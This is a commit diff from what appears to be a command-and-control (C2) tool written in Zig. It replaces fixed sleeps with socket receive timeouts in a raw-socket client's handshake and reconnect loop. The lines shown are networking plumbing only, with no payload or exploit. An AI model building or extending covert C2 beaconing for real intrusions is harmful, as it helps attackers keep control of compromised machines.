Adversarial C2 Protocol Implemented in Zig

Set timeouts instead of sleeping

+10 -12
+1 -2
src/Client.zig
··· 113 113 try self.socket.send(full_msg); 114 114 var res_buf: [4096]u8 = undefined; 115 115 116 - // Ignore response from sentinel, just accept that we got one. 117 116 log.debug("Awaiting handshake response", .{}); 117 + // Ignore response from sentinel, just accept that we got one. 118 118 _ = try self.socket.receive(&res_buf); 119 - try io.sleep(.fromMilliseconds(40), .real); 120 119 121 120 headers.udp.dst_port = udp_dest_port; 122 121 headers.ip.id = rand.int(u16);
+6 -4
src/RawSocket.zig
··· 72 72 const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll))); 73 73 if (bind_ret != 0) return error.BindError; 74 74 75 - const timeout: std.os.linux.timeval = .{ .sec = 60 * if (is_debug) 1 else 10, .usec = 0 }; 76 - const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); 77 - if (timeout_ret != 0) return error.SetTimeoutError; 78 - 79 75 return .{ 80 76 .fd = socket, 81 77 .sockaddr_ll = sockaddr_ll, 82 78 .mac = mac, 83 79 }; 80 + } 81 + 82 + pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void { 83 + const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec }; 84 + const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); 85 + if (timeout_ret != 0) return error.SetTimeoutError; 84 86 } 85 87 86 88 pub fn deinit(self: *RawSocket) void {
+3 -6
src/main.zig
··· 127 127 return; 128 128 } 129 129 130 - var retry_seconds: u16 = 12 * if (is_debug) 1 else 10; 131 - 132 130 var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined; 133 131 var w: Writer = .fixed(&init_con_buf); 134 132 try w.print("{b64}", .{flags.connect.?}); ··· 139 137 defer client.deinit(); 140 138 log.debug("Starting connection", .{}); 141 139 140 + try client.socket.setTimeout(if (is_debug) 3 else 25, 0); 142 141 var connection = client.connect(init.io, w.buffered()) catch { 143 - try init.io.sleep(.fromSeconds(retry_seconds), .boot); 142 + log.debug("Connection timed out", .{}); 144 143 continue; 145 144 }; 146 145 147 - retry_seconds = 60 * if (is_debug) 1 else 10; 148 - 149 146 log.debug("Connection started", .{}); 150 147 151 148 next_message: while (true) { 152 149 var res_buf: [2048]u8 = undefined; 150 + try client.socket.setTimeout(if (is_debug) 60 else 600, 0); 153 151 const next = connection.next(init.io, &res_buf) catch { 154 - try init.io.sleep(.fromSeconds(retry_seconds), .boot); 155 152 continue :reconnect; 156 153 }; 157 154